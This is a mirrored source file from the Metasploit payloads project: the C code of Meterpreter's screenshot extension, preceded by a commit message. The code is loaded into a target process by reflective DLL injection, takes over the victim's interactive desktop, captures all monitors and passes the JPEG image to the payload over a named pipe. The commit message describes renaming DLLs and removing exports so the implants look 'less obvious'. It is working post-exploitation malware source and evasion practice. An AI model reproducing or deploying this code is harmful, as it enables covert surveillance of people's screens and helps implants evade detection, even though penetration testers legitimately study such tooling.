1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-04-12 04:12:05 +02:00
OJ c9ca614313
Remove DLL exports from Meterpreter
Add support for loading RDI-related stuff using ordinals instead of
function names. Remove exports from the extensions/etc. This is another
step in the direction to make the DLLs less obvious.

Extensions no longer have their own name in the library metadata.
They're all "extension.dll". Metsrv is now "server.dll" and the two
non-extensions are "plugin.dll". I was going for something a little less
obvious.

This required changes to the RDI functionality.
2020-06-22 08:25:30 +10:00

351 lines
9.5 KiB
C

#include "screenshot.h"
#include "bmp2jpeg.h"
#include "common.h"
// define this as we are going to be injected via RDI
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// define this as we want to use our own DllMain function
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#define RDIDLL_NOEXPORT
#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
/*
* Send a buffer to a named pipe server.
*/
DWORD screenshot_send(char * cpNamedPipe, BYTE * pJpegBuffer, DWORD dwJpegSize)
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HANDLE hPipe = NULL;
DWORD dwWritten = 0;
DWORD dwTotal = 0;
do
{
hPipe = CreateFileA(cpNamedPipe, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (!hPipe)
BREAK_ON_ERROR("[SCREENSHOT] screenshot_send. CreateFileA failed");
if (!WriteFile(hPipe, (LPCVOID)&dwJpegSize, sizeof(DWORD), &dwWritten, NULL))
BREAK_ON_ERROR("[SCREENSHOT] screenshot_send. WriteFile JPEG length failed");
if (!dwJpegSize || !pJpegBuffer)
BREAK_WITH_ERROR("[SCREENSHOT] screenshot_send. No JPEG to transmit.", ERROR_BAD_LENGTH);
while(dwTotal < dwJpegSize)
{
if (!WriteFile(hPipe, (LPCVOID)(pJpegBuffer + dwTotal), (dwJpegSize - dwTotal), &dwWritten, NULL))
break;
dwTotal += dwWritten;
}
if (dwTotal != dwJpegSize)
BREAK_WITH_ERROR("[SCREENSHOT] screenshot_send. dwTotal != dwJpegSize", ERROR_BAD_LENGTH);
dwResult = ERROR_SUCCESS;
} while(0);
CLOSE_HANDLE(hPipe);
return dwResult;
}
/*
* Take a screenshot of this sessions default input desktop on WinSta0
* and send it as a JPEG image to a named pipe.
*/
DWORD screenshot(int quality, DWORD dwPipeName)
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HWINSTA hWindowStation = NULL;
HWINSTA hOrigWindowStation = NULL;
HDESK hInputDesktop = NULL;
HDESK hOrigDesktop = NULL;
HWND hDesktopWnd = NULL;
HDC hdc = NULL;
HDC hmemdc = NULL;
HBITMAP hbmp = NULL;
BYTE * pJpegBuffer = NULL;
OSVERSIONINFO os = {0};
char cNamedPipe[MAX_PATH] = {0};
// If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display.
int xmetric = SM_CXVIRTUALSCREEN;
int ymetric = SM_CYVIRTUALSCREEN;
int xposition = SM_XVIRTUALSCREEN;
int yposition = SM_YVIRTUALSCREEN;
DWORD dwJpegSize = 0;
int sx = 0;
int sy = 0;
int sxpos = 0;
int sypos = 0;
do
{
_snprintf_s(cNamedPipe, sizeof(cNamedPipe), MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName);
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (!GetVersionEx(&os))
{
BREAK_ON_ERROR("[SCREENSHOT] screenshot: GetVersionEx failed")
}
// On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN.
if (os.dwMajorVersion <= 4)
{
xmetric = SM_CXSCREEN;
ymetric = SM_CYSCREEN;
}
// open the WinSta0 as some services are attached to a different window station.
hWindowStation = OpenWindowStationA("WinSta0", FALSE, WINSTA_ALL_ACCESS);
if (!hWindowStation)
{
if (RevertToSelf())
{
hWindowStation = OpenWindowStationA("WinSta0", FALSE, WINSTA_ALL_ACCESS);
}
}
// if we cant open the defaut input station we wont be able to take a screenshot
if (!hWindowStation)
{
BREAK_WITH_ERROR("[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE);
}
// get the current process's window station so we can restore it later on.
hOrigWindowStation = GetProcessWindowStation();
// set the host process's window station to this sessions default input station we opened
if (!SetProcessWindowStation(hWindowStation))
BREAK_ON_ERROR("[SCREENSHOT] screenshot: SetProcessWindowStation failed");
// grab a handle to the default input desktop (e.g. Default or WinLogon)
hInputDesktop = OpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED);
if (!hInputDesktop)
BREAK_ON_ERROR("[SCREENSHOT] screenshot: OpenInputDesktop failed");
// get the threads current desktop so we can restore it later on
hOrigDesktop = GetThreadDesktop(GetCurrentThreadId());
// set this threads desktop to that of this sessions default input desktop on WinSta0
SetThreadDesktop(hInputDesktop);
// and now we can grab a handle to this input desktop
hDesktopWnd = GetDesktopWindow();
// and get a DC from it so we can read its pixels!
hdc = GetDC(hDesktopWnd);
if (!hdc)
BREAK_ON_ERROR("[SCREENSHOT] screenshot. GetDC failed");
// back up this DC with a memory DC
hmemdc = CreateCompatibleDC(hdc);
if (!hmemdc)
BREAK_ON_ERROR("[SCREENSHOT] screenshot. CreateCompatibleDC failed");
// calculate the width and height
sx = GetSystemMetrics(xmetric);
sy = GetSystemMetrics(ymetric);
// calculate the absolute virtual screen position
// prevent breaking functionality on <= NT 4.0
if (os.dwMajorVersion >= 4)
{
sxpos = GetSystemMetrics(SM_XVIRTUALSCREEN);
sypos = GetSystemMetrics(SM_YVIRTUALSCREEN);
}
// and create a bitmap
hbmp = CreateCompatibleBitmap(hdc, sx, sy);
if (!hbmp)
BREAK_ON_ERROR("[SCREENSHOT] screenshot. CreateCompatibleBitmap failed");
// this bitmap is backed by the memory DC
if (!SelectObject(hmemdc, hbmp))
BREAK_ON_ERROR("[SCREENSHOT] screenshot. SelectObject failed");
// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created
// screenshot all available monitors by default
HMODULE user32 = NULL;
if ((user32 = LoadLibraryA("user32")))
{
FARPROC SPDA = GetProcAddress(user32, "SetProcessDPIAware");
if (SPDA)
{
SPDA();
}
FreeLibrary(user32);
}
if (!StretchBlt(hmemdc, 0, 0, sx, sy, hdc, sxpos, sypos, GetSystemMetrics(SM_CXVIRTUALSCREEN), GetSystemMetrics(SM_CYVIRTUALSCREEN), SRCCOPY))
BREAK_ON_ERROR("[SCREENSHOT] screenshot. StretchBlt failed");
// finally convert the BMP we just made into a JPEG...
if (bmp2jpeg(hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize) != 1)
BREAK_WITH_ERROR("[SCREENSHOT] screenshot. bmp2jpeg failed", ERROR_INVALID_HANDLE);
// we have succeded
dwResult = ERROR_SUCCESS;
} while(0);
// if we have successfully taken a screenshot we send it back via the named pipe
// but if we have failed we send back a zero byte result to indicate this failure.
if (dwResult == ERROR_SUCCESS)
screenshot_send(cNamedPipe, pJpegBuffer, dwJpegSize);
else
screenshot_send(cNamedPipe, NULL, 0);
if (hdc)
ReleaseDC(hDesktopWnd, hdc);
if (hmemdc)
DeleteDC(hmemdc);
if (hbmp)
DeleteObject(hbmp);
// free the jpeg images buffer
if (pJpegBuffer)
free(pJpegBuffer);
// restore the origional process's window station
if (hOrigWindowStation)
SetProcessWindowStation(hOrigWindowStation);
// restore the threads origional desktop
if (hOrigDesktop)
SetThreadDesktop(hOrigDesktop);
// close the WinSta0 window station handle we opened
if (hWindowStation)
CloseWindowStation(hWindowStation);
// close this last to avoid a handle leak...
if (hInputDesktop)
CloseDesktop(hInputDesktop);
return dwResult;
}
/*
* Grab a DWORD value out of the command line.
* e.g. screenshot_command_dword("/FOO:0x41414141 /BAR:0xCAFEF00D", "/FOO:") == 0x41414141
*/
DWORD screenshot_command_dword(char * cpCommandLine, char * cpCommand)
{
char * cpString = NULL;
DWORD dwResult = 0;
do
{
if (!cpCommandLine || !cpCommand)
break;
cpString = strstr(cpCommandLine, cpCommand);
if (!cpString)
break;
cpString += strlen(cpCommand);
dwResult = strtoul(cpString, NULL, 0);
} while(0);
return dwResult;
}
/*
* Grab a int value out of the command line.
* e.g. screenshot_command_int("/FOO:12345 /BAR:54321", "/FOO:") == 12345
*/
int screenshot_command_int(char * cpCommandLine, char * cpCommand)
{
char * cpString = NULL;
int iResult = 0;
do
{
if (!cpCommandLine || !cpCommand)
break;
cpString = strstr(cpCommandLine, cpCommand);
if (!cpString)
break;
cpString += strlen(cpCommand);
iResult = atoi(cpString);
} while(0);
return iResult;
}
/*
* The real entrypoint for this app.
*/
VOID screenshot_main(char * cpCommandLine)
{
DWORD dwResult = ERROR_INVALID_PARAMETER;
do
{
dprintf("[SCREENSHOT] screenshot_main. cpCommandLine=0x%08X", (DWORD)cpCommandLine);
if (!cpCommandLine)
break;
if (strlen(cpCommandLine) == 0)
break;
dprintf("[SCREENSHOT] screenshot_main. lpCmdLine=%s", cpCommandLine);
if (strstr(cpCommandLine, "/s"))
{
DWORD dwPipeName = 0;
int quality = 0;
quality = screenshot_command_int(cpCommandLine, "/q:");
dwPipeName = screenshot_command_dword(cpCommandLine, "/p:");
dwResult = screenshot(quality, dwPipeName);
}
} while(0);
dprintf("[SCREENSHOT] screenshot_main. ExitThread dwResult=%d", dwResult);
ExitThread(dwResult);
}
/*
* DLL entry point. If we have been injected via RDI, lpReserved will be our command line.
*/
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
hAppInstance = hInstance;
if (lpReserved != NULL)
screenshot_main((char *)lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}